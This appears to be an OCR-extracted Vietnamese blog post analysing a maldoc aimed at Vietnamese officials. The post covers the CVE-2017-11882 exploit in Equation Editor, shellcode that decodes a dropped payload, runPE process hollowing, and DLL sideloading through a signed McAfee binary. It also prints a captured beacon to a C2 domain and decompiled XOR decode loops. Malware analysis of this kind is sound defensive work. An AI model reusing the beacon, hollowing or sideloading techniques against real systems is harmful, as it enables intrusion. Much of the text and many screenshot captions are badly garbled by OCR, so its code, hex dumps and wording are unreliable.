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La 1937CN hay OceanL.otus hay Lazarus ...

By m4nOw4r

Published: 2018-11-03 - Archived: 2026-04-05 18:38:25 UTC

BO CONG AN CONG HOA XA HQOI CHU NGHIA VIET NAM
- Pac lap - Ty do - Hanh phic

QUY CHE
Vé viéc sir dung va quan I¥ hé chiéu trong lyc lwgng Cong an nhin din
(Ban hanh kém theo Quyét dinh s6 .../OP-....
ngay...thang...nam ...cua B¢ truong Bé Céng an)

Chwong I. Quy dinh chung
Piéu 1. Pham vi diéu chinh:

Quy ché nay quy dinh viéc sir dung va quan 1y ho chiéu ngoai giao, ho chiéu
congvu, ho chiédu pha thong (sau ddy goi chung 1a ho chiéu) clia cdn bé. chién si lue
lvong Cong an nhan dan ¢ trong va ngoai nude.

Diéu 2. Poi twong ap dung:
Quy dinh nay ap dung d6i véi:

1. Can bd, chién si (ké ca can bo, chién si dang nghi ché hwu, biét phai ngoai
Nganh...) duoc cap ho chieu theo quy dinh tai Nghi dinh so 136/2007/NB-CP ngay
17 thang 8 ndm 2007 cta Chinh phi vé xuét canh, nhap canh cia cong dan Viét Nam
(sau 8ay goi la Nghi 8inh 136) va Nghi 8inh s6 65/2012/ND-CP ngay 06 thang 9 nim
2012 ctia Chinh phi sira 86i, bo sung mot sé diéu cua Nghi dinh s6 136 (sau day goi
1a Nghi dinh 65).

Vo tinh bat gap trén twitter cia @blu3_team (Téi khong ré sao acc ndy lagi rdt hay cé dugc nhitng

mau target vao VN), t6i to mo mudn biét ki thudt dang sau nd la gi bdi t6i thdy né twong ty nhw mét bai

ma t6i da doc https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-

acb3b9d8b80a, va vi xem comment, ngwoi nghi ngd la OceanLotus, nguwoi khang dinh la 1937CN

Team...

Xin 16i vi bai viét kha dai, t6i cling khong biét lam thé nao dé cho né ngén hon :D, néu ban khong c6

thoi gian dé doc hét thi bam mot like r6i chuyén trang khac. Phan t6i, mét 1a do toi thich viét, mat khac

cling la cach t6i ty rén ki nang ... phan nita la vi t6i biét rang chi khi minh thuyc sy bat tay vao phén tich

mai thady n6 khac xa véi nhitng gi minh doc bang mat va twéng tugng.. ..
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@blu3d_team @blu3_team - Oct 30 W
. 8.t #Malware

QUY CHE VE HO CHIEU NGOAI GIAQ.doc

e228045ef57fhécc1 226b62adaT eeedh

C2: login‘\.dangquanwatch'.com

& Translate Tweet

! ('GNG AN (.,i:l\ﬂ HOA XA HQ‘I CHU \Menpl JFZHW—:&E”':U—QSU”H_Z
Boctip-Twdo-Heompatible; MSIE 8.8; Win32
.com:4357

QU ChE ZyV612a60sS5MQAAL 6UQUGRUGHO

vige ik dung vi quin ¥ hi chien trong hee hromg
{Ban hanh kém theo Quvét dinh 56 ..../0
ngay...thang.. ndm ...ciia Bd triedng Bg C

Clharomg L Quy dinh chung
e 1. Pham vi dign chinh:

1y ché nay quy dinh vige sir dyng va quan 1y hé <l

1. Moi truong thuc hién

1. May do REMnux (https://remnux.org/): stt dung dé phan tich files, gia 1ap Internet services va capture network

traffic.

2. Mday 4o Win10x64 (tw build): st dung cho Static & Dynamic Analysis

a. Cai dat san cac cong cu debugger & disassembler: OllyDbg, x64dbg, IDA ...
b. Cai dat san Office 2013.

c. Enable tai khodn Administrater (mdc dinh tai khodn nay bi disable) va dang nhdp bang tai khoan nay dé thyc

hién phan tich.
2. Phan tich theo hanh vi

Khi mg tai liéu trén may do Win10, sé thdy tng dung EQNEDT32.exe duwgc goi, sau d6 xuat hién thém hai tién
trinh khac 1a QcConsol.exe va dllhst3g.exe:

"& ProcessHacker.exe 472 1.16 7.16 MB REH‘IWurl:statlnn‘tREM

4 [W| WINWORD.EXE . 2904 1769 MB  REMWaorkstation\REM
E%Q splwowbd, exe 3212 1.62 MB REMWorkstation\REM

[ QcConsol.exe 2136 501 ME  REMWorkstation\REM
RS dllhst3g.exe 1112 284 MB REMWorkstation\REM
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Trén mdy a0 REMnux chay Wireshark dé capture traffic tir may do Win10, thu dugc két qua két néi téi C2 server
1a login[dot]dangquanwatch[dot]com:

162.168. 5. 129
192.168.5.131
i

Wireshark - Follow TCP Stream (tcp.stream eq 3) - C2.pcap

GET /link?url=pJWkuZWeMDUhy&enpl=JEppeA==Sencd=(TkISDE= HTTP/1.1

User-Agent: Mozillas4.8 (compatible; MSIE B.08; Win32)

Host: login.dangquanwatch.com

Cache-Control: no-cache

Cookie: elyLAGZgeAHEBVTh2ZaVR4cm+LgGVDCAQS0obTh
kHRZ1GOLp7BeABsIzEyzODEULLMzQZUCACAgImzgUMIKUALGhpZGeoZmFngmeoZE L HvWUACMDWE DARD S ZaMAAAS /BHE

Log cta Noriben (https://github.com/Rurik/Noriben) cung cap:

Press enter or click to view image in full size

Procassas Craated:

ssssssesssssssssss

[EreateProcess] Explorer.EXE:1822 > "XProgranfiles¥\Microsoft OFFice\OFficeld\WINWORD.EXE /n XUserProfileX\Desktop
A\b4SRETadAfFIBATSE046FI6b1TA5I0FeadEbRETL0SATEF124cbdelecfbRAlS . doc”  [Child PID: 29@4]

[CreateProcess] svehost.exe:GE0 > "XCommonProgranFilesX\Microsoft Shared\EQUATION\EQNEDT32.EXE -Embedding™ [Child PID: 31&a]
[CreateProcess] EQNEDTIZ.EXE:3162 > "SCommonProgramfilas¥iMicrozoft Shared\EQUATION\EQNEDT3Z,EXE" [child PID: 3983]

[CreateProcess] services.exe:576 » “NCommenProgramFilesX\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPEVC.EXE™ [Child PID: 1724]
[CraateProcass] WINWORD, EXE:2984 » "NWinDirX\splwowbd gxe 81927 [Child PID: 3212]

[CreateProcess] EQMEDT32.EXE:3988 » "RippDataX\Micresoft\Windows\Printer Shortcuts\QeConsol.exe -LowIntegrityServer” [Child PID: 3624)
[CreateProcess] QeoConsol.exe:3624 > "NWinDirX\system32\dllhst3g.exe™ [child PID: 328@]
[CreateProcess] dllhst3g.exe:3209 > "RAppPatak\Microsoft\Windows\Printer Shortcuts\QcConsel.exe -LowIntegrityServer" [child PID: 213&]
[CreateProcess] QeConsol.exe:2136 > "XappData%\Microsoft\Windows\Printer Shortcuts)\QecConsol.exe -LowIntegrityServer” [child PID: B52]
[CreateProcess] QoConsel.exe:B652 » “"SWinDir¥isystem32\dllhst3g.exe” [child PID: 1112]

3. Phan tich sample trén REMnux

Sample nhan dwgc la mot file cé dinh dang RTF:

Object tai id 0 c6 FileName la 8.t, khi md tai liéu thi file nay sé dugc drop vao the muc Temp trén mdy. Hai object

con lai dwgc nhan dién 1a “Not a well formed ole object”.
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Dung ludn rtfobj dé dump toan bd cac objects nay:

=1\ AappDatay,

Kiém tra thong tin tirng file. Pau tién la
b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbdelecfb0415_8.t:

Theo data nhw trén hinh thi kha nang file nay da bi ma héa va sé dugc gidi ma sau khi drop vao thy muc Temo.

Vi file b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbdelecfb0415_object_000C11FB.raw:

Can ct vao ddu hiéu nhw trén hinh thi kha nang file RTF c6 thé sé stt dung exploit CVE-2017-11882
(https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882).

Kiém tra file con lai la
b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbdelecfb0415_object_000C11E9.raw:
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Press enter or click to view image in full size
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File nay kha nang sé chita doan shellcode dé thyc hién sau khi may nan nhan bi exploit. Thong tin sg b la nhw
vay, tiép theo ta sé thyrc hién debug sample nay dé xem file 8.t duwgc sit dung nhu thé nao.

4. Debug maldoc trén Windows10

Lién quan t6i exploit CVE-2017-11882, khi chay sample, Winword.exe sé goi tién trinh EQNEDT32.exe dé
handle OLE object. Tuy nhién, Winword.exe khong phadi la process cha cia EQNEDT32.exe, tién trinh
EQNEDT32.exe dugc goi bdi Winword.exe thong qua viéc sit dung COM Object nhu hinh dwéi day:

Page 5 of 35



https://tradahacking.vn/I%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6¢cal5felb24 1

Process CPU  Private Bytes  Waorking Sst  PID  Descrption
| System Idie Process 3345 oK 4K ]
= ] System 022 1688 K 12856 K 4
B Intemupts 051 0K 0K n/a Hardware irterupts and DPCs
o7 smes exs 2K 1052 K 408 Windows Session Manager
7 carss me 2963 K 5784 K 530 Chent Server Runtime Process
B [ wirnt exe %K 484K 675 Windows Stat-Up Application
I SEVICES B8 4160 K TAB4 K 736 Services and Controller app
= | svchost exe T216K 14728 K 884 Host Process for Windows Services
& 7 dlinost e 1324 K 5580K 3524 COM Sumogate
[ rundi3z exs < 0.0 1384 K 10,568 K 4288 Windows host process (Rundl32)
' FuntimeBoker.e 1448 K 6312K
(= SkypeBrowsarHost exe 0.0 14568 K 31.792 K 7960 Skype Browser Host
s | wamprovhost e 0.0 1,360 K 5.604 K 7352 Host process for WinRM plug-ns
Jc_; QMEDTIZ EXE < 0.0 1,904 K 5
i WmiPre SE e 2028 K 6124 K 3408 WMI Provider Host

'n svechost e | <0 E300K 10,843 K 896 Host Process for Windows Senvices

https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about/

Nhuw vay, bang cach nao dé ta phai attach dwgc EQNEDT32.exe vao debugger dé debug. O day, tdi sit dung mot
ki thuat caa M$ la Image File Execution Options (IFEO:
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/).

Vao Registry, tao mot key nhu sau hodc néu cai Word2013 trd 1én thi kha ndng c6 san key nay (vi t6i thdy trén

may tdi c6 san):

CMWHN&WMMWM N CumentVersion\image File Execution Options\EQNEDT32.EXE
T % T Image File Execution Options
chiew.exe
CMigrate.exe
Commeon.DBConnection.exe
Common.DBConnectionbd.exe
DATABASECOMPARE.EXE
dw2Lexe

I + EQNEDT32.EXE

excelenv.exe
ExtExport.exe
FIRSTRUM.EXE
FLTLDR.EXE

Tiép theo, tao mot string value dé khéi chay debugger khi EQNEDT32.exe dwgc thyc thi, qua d6 sé attach dwoc
debugger vao tién trinh cia EQNEDT32.exe.

Mame Type Data

25 (Default) REG_SZ (value not set

3'_’:] Debugger REG_SZ "ChProgram Files (x86)\¥jun's_Dbg'X¥jun's Dbg.exe"
fg'pﬂ DisableExceptio.. REG_DWORD CeeD0DOD0D000 (0

Vi thiét 1ap nhu trén, kiém tra lai bang Autoruns sé nhu sau:
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7 Everything 24, Logon H Bxporer A Internet Explorer ] schedued Tasks 8 senvices B rivers I3 codecs ™ sootExn
Futorun Entry Diescrption Publisher Imapes Fath Timestamp:
gmmwmm«nmmmmm 101072018 11:08 AM

B4 M eanEDTIzEXE YGS-DOK OlyDBS o presgram fles (35T wpan's_cbg s g v 5/28/2004 324 AM

EA oM taskmgrene w2 " progene e orocess hacker Mprocesshacker e 12592016 834 AM

S HKLM Softwans \WiwB412Node Microsoft Windows T CumentVerson'Image Fle Execution Options 1002018 1108 AM
=] * EQNEDTI2 EXE TG5-DOX OhDBG £ \oragrn fles ST muns_ b anns dbeg e 28,2004 324 AN
BB tagkmy ene Frocess Hacker wyi2 c-'\progenam fles'process hacker omcesshacker e 1292016 B34 AM

i HKLMSOFTWARE \Classes Himifile'\ Shell Dpen'\ Command' Defsul) 127282017 10:32 AM
=] 2 C\Program Fles'inisme... Infemet Explorer Mmool Comoention c\prngram fles inbemet explorerstapions sue 10272014 12:48 AW

Luwu y: khi thiét 1ap IFEO, cac thiét 1ap sé ty dong bo gitta hai key:
HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options va
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Tiép theo, md WINWORD.EXE, sau d6 tir Winword md tai liéu malicious rtf. Liic nay, tién trinh EQNEDT32.exe
cling sé duwgc khai chay va duwgc attach vao debugger:

~ r explorer.ee 385 018 4703 MEB  DESKT..\Administrator  Windows Explorer

£ MsasCuil.exe 796 1.81MB DESKT..\Administrater Windows Defender
m vmitoolsd.exe 4516 014 105kBfs 2208 MB DESKT.\Administrator  VMware Tools Core
p Everything.exe 1332 013 259kB/s  3994MB DESKT.\Administrator  Everything
™ ProcessHacker.exe 1300 0.83 16.14 ME DESKT.M\Administrator  Process Hacker
WINWORD.EXE 6248 37.75ME  DESKT..\Administrator  Microsoft Word
v [1] svchost.exe 240 11.34 MB  NT AUTHORITY\SYSTEMN Host Process for Windows !

81 WmiPr/SE.exe 3204 9.5TMB M.AMETWORK SERVICE WM Provider Host

[5] RuntimeBroker.exe 5212 7.17MB  DESKT..\Administrator  Runtime Broker

[] RuntimeBroker.exe 1224 009 90T MB  DESKT..\Administrator  Runtime Broker

[®] diihost.exe 6792 343MB DESKT..\Administrator  COM Surrogate

=

=

[ RuntimeBroker.exe 592 241 MB DESKT..\Administrator  Runtime Broker

[5] RuntimeBroker.exe 1.3MB DESKT..\Administrator  Runtime Broker

[®7] beastdvr.exe 1284 36TMB DESKT..\Administrator  Broadcast DVR server

[#7] smartscreen.exe 2160 95MB DESKT..\Administrater  Windows Defender Srmart5:

[#7] SppExtComObj.Exe 2344 213 MB  MN.ANETWORK SERVICE
v Xjun's Dbg.exe 2324 0.12 20.95 MB  DESKT..\Administrator
| ' & 3932 139 MB  DESKT..\Administrator |
svchost.exe 936
[ swchost.exe 984 204 MB  NT AUTHORITY\SYSTEN

KMS Connection Broker
YG5-DOX OllyDBG

769MB N..\NETWORK SERVICE Host Process for Windows !

Tai debugger, ta dang dirng lai tai EP(Entry Point) cia EQNEDT32.exe:
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* YGS-D0X - EQMNEDT32.EXE - [*G.P.U" - main thread, module EQNEDT32)

'ﬂ File View Debug Plugins Options Window Help Tocls BreakPoint->

Paused [T I S EEIOE BN | ] ) e ] )] ) )| | ) ] =]
| [ Fol] pel] [ Fol| pel|f [ Fol| pel]

Address |Hex dump Disassenbly

10 mov eax,

Comment

mowv

Kiém tra ta thay file 8.t da dwgc drop vao thw muc Temp:

g.t
Mame Path Size [
8.t ChUsers\Administrator AppDatatLocal\ Temp 332 KB
=| AppCachel31854469736055208.6¢ ChUsers\AdministraterAppDatatLocalPack... 239 KB
|| AppCachel31854469526372608. 6 Ch\Users\AdministratorAppData\LocaltPack... 239 KB

M HxD - [ChUsers\AdministratorAppDatatLocal Temp'8.t]

2] File Edit Search View Analysis Extras Window ?

1":\.? - - - ¢ 16 ot AMSI A hex A
i 8t
Offsec(h) 00 01 02 02 04 05 06 07 08 0% QA OB OC OD QE OF

00000000 [B2 A6 6D FF FF FC FC FC Fg& FC FC FC 03 03 FC FC =!myyiddeadd..dd
00000010 44 FC FC FC FC FC FC FC BC FC FC FC FC FC FC FC Dudd0@GwiGadnad
00000020 FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC GdGUd880ddaaatan
00000030 FC FC FC FC FC FC FC FC FC FC FC FC 04 FC FC FC udGUdG8000EE. GHd
00000040 F2 E3 46 F2 FC 48 F5 31 DD 44 FD BO 31 DD A8 94 o&FouHA1¥Dy 1%~
00000050 95 8F DC 8C S8E 93 9B 8E 9D 91 DC OF SD 92 92 93 «.UEZ~>Z. gf.rr
00000060 88 DC 9E 99 DC SE 89 92 DC 95 92 DC BE B3 AF DC ~Uz™iiwn g.rd,>70
00000070 91 93 98 99 D2 F1 F1 Fé D8 FC FC FC FC FC FC FC “"™0AASGUGGHHGH
00000080 39 EA SE 2E 7D 8B EO 7D 7D 8B EO 7D 7D 8B EO 7D 928%.}callcalleal
00000090 12 FD JE 7D €F 8B EO 7D 12 FD 44 7D 3B 8B EO 7D .y~}oca}.yJ}:eal
OO0O0OOAD 74 F3 75 7D 7C 8B EO 7D 12 FD 4B 7D €3 8B EO 7D toul|<a}.yKlceal

Dat BP tai API CreatFileW, sau d6 nhan F9 dé thuc thi, ta thay chwong trinh sé thirc hién mé file 8.t dé doc noi
dung:
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Goi ham GetFileSize dé 1ay kich thwdc cta 8.t:
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8.t Properties

General  Securdty Detals  Previous Versions
Bt
Type of file: T Fe (1)
Opens with = Pick an app

Location: C:\Users'\ Administrator' App D
Size 332 KB (339,968 bytes)

Size on disk: 332 KB (339,968 bytes)

|4 A
B UL

5D

short 73FE
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Addrezs |Hex dump ARCTT

Filesize

Toan bd ndi dung ctia 8.t duge doc vao ving nhé da dugc cap phat & trén:

Press enter or click to view image in full size

"|FF FC FC FC
CF

Tiép tuc trace sé tdi doan shellcode thyc hién giai ma toan bd ndi dung cua file 8.t trong memory tai 0x4F70000:
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[\ddress |Hex dump Dizagsembl Comment

Cho thie hién xong toan bo vong lap gidi ma trén sé c6 duge mot PE hoan chinh trong b6 nhé:
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=1 =] =1 —=]-]—]

]!
[
[
[
B
B
0
o

= = e e

. .rdata..

Dump PE mdi nay va luu lai dé thye hién phan tich sau:

File name: | 04F70000_dumped|

Save as type: | *.mem file (*.mem)

File dump dugc la mot exe file:
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-

H @ 4 FT0000_dumpsed, mem 2

| Mermber Offcet Size Value Meaning
7 3 Phec IAFTI000 dumpedien  [ems 000DDOFC Word 014C Intel 386
— (& Dos Header d i B Mntntetentnion ! M
5 M Headers Characteristics - x 0005
Al Fle Header = B |-
i Optional Header ] P is enecutable | HICLACEF
3] Data Directo | File is a DLL BO000000
i = R S System Fe e |
[ & Section Headers (] || Relocation info stripped from fle 00000000
— (CJimport Directory || Line numbers stripped from file - !
— I Resource Directory J Local 5'!"":‘-?'5 strmck-ld from file DOED
= I Relocation Dwectory L_| Agressively trim working set B "
| & ID"Cm'r;: || App can handle >2gb address space ooz Click here
d ez || Bytes of machine word are reversed (ow)
— 4 Dependency Walked ] 32 bit word madhine
— 'P_‘l_. Hex Editor L Debugging info stripped from fie in .DBG fie
— A, Identifier a If Image is on removable media, copy and run from the swap
— & mpon Add If Image is on Net, copy and run from the swap file
i" y i [ ] File should enly be run on a UP machine
— ;;"ff Quick Disassembler |_] Bytes of machine word are reversed (high)
— ) Rebuilder
— %, Resource Editor
— ‘% Qunpack Dil oK Cancel
b Eﬂtm Tweaker

Tiép tuc debug, shellcode goi tiép ham VirtualAlloc dé cap phat mot vung nhé khac tai dia chi 0x5170000:

PE dugc gidi ma tai ving nhd 0x4F70000 sé dugc copy vao vung nhd mdi dugc cap phat & trén:
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00 |FF FF
0 0000 0
]

a0 a0 1
00 0o 0

Dump viung mem trén ra bé nhg, va vi file nay da dugc mapping trén memory va cé thay doi, nén st dung cong cu

pe_unmapper cua hasherezade (https://github.com/hasherezade/pe recovery_tools/tree/master/pe unmapper) dé

chuyén dbi tr virtual format vé dinh dang raw:
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St dung CreateProcessA (CreateProcessInternalA) dé tao mot process EQNEDT32.exe khac & trang thai
Suspended. Do dang thiét lap tinh nang IFEO nén ta sé thay process cta debugger thay vi la process
EQNEDT32.exe:

. Mame PID CPU 1FOtotal .. Prvateb.. Username Description a

w [0 ] services.ece 624 4TIME  NT AUTHORITWSYSTEN  Services and Controller app
[ swchost.exe T2D YI6KE NT AUTHORITYWSYSTEN Host Process fior Windows Ser...
v (1] swchost.ese B2 1121 MB  NT AUTHORITY\SYSTEN  Host Process for Windows Ser...
&) WmiPrvSE.exe 3204 9.63 MB M.\METWORK SERVICE 'WMI Provider Host
v RuntirmeBroker, s 5212 E92 ME DESKT.\Adrninistrater  Rumtime Broker

[v| RuntirmeBroker. e 1224 B93IME DESKT.\Administrater  Rumtime Broker
=]

dilhast.eve gra2 19MB DESKT.\Adminmstrater COM Sumrogete

22TMB  DESKT.)\Administrator  Runtime Broker

v RuntimeBroker, exe 552

1.3MB DESKT..\Administrator  Runtime Broker

v’ RuntimeBroler. eoe 6044

= = 3 AMETW T
~ 3K Xjun's Dbg.exe T2 002 25.78MB  DESKT..\Administrator  YGS-DOX OllyDBG
“ i EQNEDTI2EXE 6268 3AMB DESKT..\Administrater  Microscft Equation Editor
3 ¥jur's Dbg... 392 IMB DESKT.\Administrator  YG5-DOX OllyDB

j— guun's Dbg.exe” “C\Program Files (x26)\Commaon FilesiMicr

1| swchogtexe
[0 swehast.exe
[0 swehast.exe
v [0 swchost.exe

[ taskhostw.exe

(5] svchost.exe

e e e e -

CPU Usage: 4.88% Physical memony: 1.47 GB [36.66%) Processes: 119

Note: Néu thuc hién lai, téi budc nay thi stz dung Autoruns dé bo viéc stt dung IFEO va cho thuc hién ham
CreateProcessA, ta sé co dugc két qua ding nhu hinh:

[37] RuntimeBroker.exe B4 1.3 ME DESKT..\Administrator  Runtime Broker

[#7] SppExtComObj.Exe 4958 21TME MN.ANETWORK SERVICE  KMS Connection Broker
v %K Xjun's Dbg.exe 720 0N 3142 ME DESKT..\Administrater  YGS-DOX OllyDEG

~ Jfi EQNEDTIZEXE 4820 L26 MB  DESKT..\Administrator  Microsoft Equation Editor

<t EQMNEDT32Z.EXE 4992 433kE  DESKT..\Administrater  Microsoft Equation Editor

rrryrchoTioe m— Sy = . 257 WMBN... _Hnst Process for Windows
T_suchasl.ue Fl;::lp'('y'.’i".'lF:I'.—.'\'.'.- Common Files\Microsoft Shared 2.EXE ocecs for Windows
[v] suchost.exe C:\Program Files (B8)\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE fOcess for Windows

ation Editor 2000.11.9.0 cess for Windows
ocess for Windows
woess for Windows
[+7] svehost.exe eeess for Windews
[ svchost.exe | | woess fior Windows
(0] svchost.exe 1200 L/AME NTAUTHORITWVSYSTEN Host Process for Windows

|
0] swchost.exe
(2] swchost.exe

7] taskhostw.exe

Doan code tiép theo sé lay thread context bing GetThreadContext, doc dir liéu tir vung nhé v6i ham
ReadProcessMemory, goi VirtualProtectEx (PAGE_EXECUTE_READWRITE 0x40) dé thay doi trang thai cua
vung nhd trén Suspend process, va cudi cung shellcode ghi dé 1én bang PE tai dia chi 0x5170000:
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Thue hién dat lai thread context bang SetThreadContext, cudi cung shellcode thyc hién ham ResumeThread dé

launch PE méi:

Tong két lai, toan bd qua trinh thue hién cuia shellcode la giai ma file 8.t thanh mot PE méi, sau do thuc
hién nhan ban sang mot ving nhé khac, thuc hién tao mot fork process méi la EQNEDT32.exe, cudi
cung ap dung ki thuat runPE dé launch EQNEDT32.exe m@i da bi ghi dé code bdi ndi dung cua file
8.t.

5. Phan tich binary da dump

Nhu da biét khi phan tich dynamic, sau khi resume thread thi malware sé drop ra disk céc file sau: QcConsol.exe;
QcLite.dll; stdole.tlb vao the muc % AppData% \Microsoft\Windows\Printer Shortcuts.

O trén t6i c6 2 file dd dump 1a _04F70000.mem va drop_bin.exe (dugc unmap béng céng cu pe_unmapper).
Tuy nhién, chi c6 file _04F70000.mem la thyc thi dwgc binh thuwong, con file drop_bin.exe thi bi crash (mac du
Idc fix, kiém tra bang PE bear thdy moi thit déu ok. T6i c6 chat héi vé van dé nay thi nhan duwgc tra 16i cia

hasherezade nhu sau: “dumped samples may not always work, so it is normal”).

Get m4n0w4r’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

M¢ IDA va load file _04F70000.exe (d6i tén lai tir file .mem), dirng lai tai WinMain():
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egaaloes

Badalaes
Ba4D 108 dword
BR4a1a08 C dword ptr
28481008 dword ptr
Ba481008
8 1888

[ebp+hInstance]

dsiloadStringW

offset Buffer

B eall

0 push
call sub_4818C8

_ stdcall WinMain(x, =, x, x) endp
Binary 1dy duong dan tGi the muc %AppData%\Microsoft\Windows\Printer Shortcuts:

4-b= zp‘;th]
: Sre
Eax [ebp+pszPath]=[5tack[80086054] : szClsersRemippd
» offset dword gaClisersRemAppd:
sub_331CC8 8, <Ci\Users\REM\AppData'Roami crosoft\Windows\Printer Sh>
8, <ortcuts:. 0

¥

ClUsersRemAp_1:
8, <C:\Users\REM\AppData\Roaming\Microsoft\Windowsz\Printer Sh>
ortcuts\QcConsol.exe>»,8

debug@ld : 8@eD7ETE p_@
debug®14:086D7E7Q 8, <B:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Sh>»
debug@l4d:eeeD7ETR @, <ortcuts\Qclite.dll:».®

g2ld:0e86D7F3E 5:CU5QP$H¢mApJ4'
debug@ld:@@eD7F38 2, < Uzers\REM\AppData‘\Reaming\Microsoft\Windows \Printer Sh>
debug@ld:e0eD7F38 2, <ortcuts\stdole.tlb>,@
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T&i doan code thyc hién call sub_331860 3 lan dé thyc hién drop cac file trén vao thw muc chi dinh. T6i doi tén
sub nay thanh thanh drop_file nhu hinh:

ecx, offset unk_342BB@
033157C drop_file
8033157C

edx, dword_381EB4

ed
ecx, offset unk_37ABCE
drop_file

eax, dword_381EEBB

ccx, offset unk_ 356768
drop_file

bi sau vao ham nay sé gap vong lap xor thuc hién decode bytes, sau do 1a doan code thuc hién WriteFile vao thw

muc:

loc_33196B:

jnz short lec_331943

loc_331949:
L 3
push
laa
push
push
push
push
call

push
tast
jz short loc_33158F

Keét qua sau khi thue hién ham drop_file dau tién, c6 dugc file QcConsol.exe:
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L] Marne Date modified Type Size

| @Dc(ﬁonsol.ae 10/31/2018 11:36...  Application 145 KB

Day la mat file hop 1€, c6 chit ki va dugc phat trién bai hang McAfee, Inc.:

A

9 QcConsol.exe Properties Digital Signature Details ?
| General | Compatbity  Diotal Signatures | Secuty | De | General | advarced
Signature list — . Digital Signature Information
-
! g e }
Name of signer: Digest algorthm Timestam ARl
McAfes, Inc. shal Thursday
Signer information
E-mail: F‘bt avalable
| Sigring time: [Thursday, March 11, 2010 1:28:54PM
View Certificate
Countersignatures
MHame of signer:  E-mail address: Timestamp
VeriSign Time 5t...  Not avadable Thursday, Mardh 11,...
|
Property Value
Description

ile description  CQuickClean Console Application
Type Application
File version 10.5.103.0
Product name  McAfee QuickClean
Product version 10,5,0,0

—opyright Copyright © 2010 McAfee, Inc.
Size 144 KB

Date modfied  10/31/2018 11:36 PM
Language English (United States)

Original filename GcConsol exe

Lai goi ham drop_file thit 2 sé drop ra file QcLite.dIl, file nay khong c6 thdng tin gi vé Signature cling nhu info,
nhu vay malicious code sé ndm & file nay:

(] Mame Date modified Type Size
D@' OcConsol.exe 10/31/2018 11:36 ...  Application 145 KB
|%| Celite.dll 103172018 11:41 ... Application extens... 50 KB
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QclLitedll Properties

General | Secunty | Details

Property Value

Description
File description
Type Application esxtension
File version
Product name
Product version

Size 455 KB
Date modfied  10/31/2018 11:41 PM
Language

Loi goi ham drop_file thit 3 s€ drop ra file stdole.tlb. Thong tin vé .tlb c6 thé xem tai day

(https://docs.microsoft.com/en-us/windows/desktop/midl/com-dcom-and-type-libraries):

[0 Mame Date modified Type Size
yp
'-'@-' CQcConsol.exe 10/31/201811:36...  Application 145 KB
|%| Qelite.dll 1043
| || stdoletlb 10/31/201811:44 ... TLE File 43 KB

2M811:41 .. Application extens... S0 KB

Tiép tuc, cdu thanh mét command nhu sau:

icrosoft\Windows\Printer Sh>

<ortcuts\QcConsol.exe -LowInte tyServer>,0

Cudi cung, goi ham WinExec dé thuc thi QcConsol.exe vGi tham so 1a “-LowlIntegrityServer”:

loc_3X1GEF
push

sFL push
eall

push
eall

JEzCUsersResAp 6 db "C:\U -';p|:=-[l:lta"._ﬂ-:::-ﬁinp.'-.' esoft\Windows\Printer Shertcuts)’'
fdh "QcConso xe =Low ¥ ver' @

Nhu vay, vai viéc thye thi thanh cong, QcConsol.exe chic chan sé phéi load QcLite.dll vao dé thuc thi malicious

code.

6. DLL hijacking — Phan tich file QcConsol.exe

Load file vao IDA nhan dugc thong béo:
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ﬁ Please confirm “

IDA has determined that the input file was linked with debug information, and the symbel filename is:
‘ex\BuildSystem\MNode\QUICKCLEAN_LI1050_6340386639910.Build\build\Win32\Release\QcConsol.pdb
Do you want to look for this file at the local symbel store
and the Microsoft Symbol Server?

Yes Mo

[ ] Den't display this message again

Dé nap dugc QcLite.dll, QcConsol.exe stt dung API LoadLibraryW va sau d6 goi GetProcAddress dé 1ay dia chi
ctia ham. Vé ban chat khi thye hién nap module thi d6ng thai code cuaa dll cling sé duwgc thue hién bat dau tir
DIIMain:

(veoid (*)(void))GetProcAddress(

7. Phan tich so bo file QcLite.dll

Goi ham VirtualAlloc d& cap phat mét vung nhg:

(8, ex200000u, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

@x184u),

szCUszerzRemAp 8:
y <Ci\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Sh>
2, <ortcuts)\stdole.tlb:,@

Lay kich thuwdc cua stdole.tlb:
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Press enter or click to view image in full size

(h_stdole, NULL);

Thyc hién vong 1dp st dung xor dé decode toan bo dit liéu cua stdole.tlb da dwgc copy 1én memory:
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p_mem_alloc_cp;
ex98005 ;
ex48003 ;
2x50006 ;
©xBeee3 ;
ex68082 ;
ex18684
ex50089 ;
©x30005 ;
Bx 20008 ;
ex16084
EY. = @xBooe3;
v32[@xB] = ©x50004;
v32[exC] = @x70006;
viZ[exD] = @x70006:
v3Z[exE] = Ox30007:
v32[@xF] = ©x70008;
v32[ex1e] = ex6eeel;
viZ[ex1l] = ex5ee83;
viZ[ex12] = ex90ee7;
for ( i = 5; j < size_of_stdole; ++k )
{
if ( k == @x28 )

*((_BYTE *)p_mem_alloc_cp + j++) "= *((_BYTE *)v32 + 2 * k);

}

Keét qua c6 duwgce sau khi decode, nghi ngo kha nang day c6 thé sé la mét PE file khac:
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01

014110
D14110
014101
01410130
01410140
D1A10150] .
01410160
014101
014101
014101
014101
01410

Qua rat nhiéu rop_chain (t6i doan thé :D) thi sé nhdy t&i ving nhé trén dé thyc thi code (Cdch nhanh nhdt thi cdc
ban cé6 thé dat mét HWBP on Execute tai 4 bytes dau 0x50 0x68 0xA7 0x45; sau d6 nhan F9 la tdi):

Address |Hex dump Disassenbly

Address |Value

L R 2 R L

Shellcode tai 0x01A10000 sé truy cap PEB (Process Environment Block) dé 1ay ra dia chi base address ctia
kernel32.dII:
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[ S N N

LV D W Dy U Y Ry WY N WY Ry W Ry Y Ry Y ]

k) k) B B BRI

=

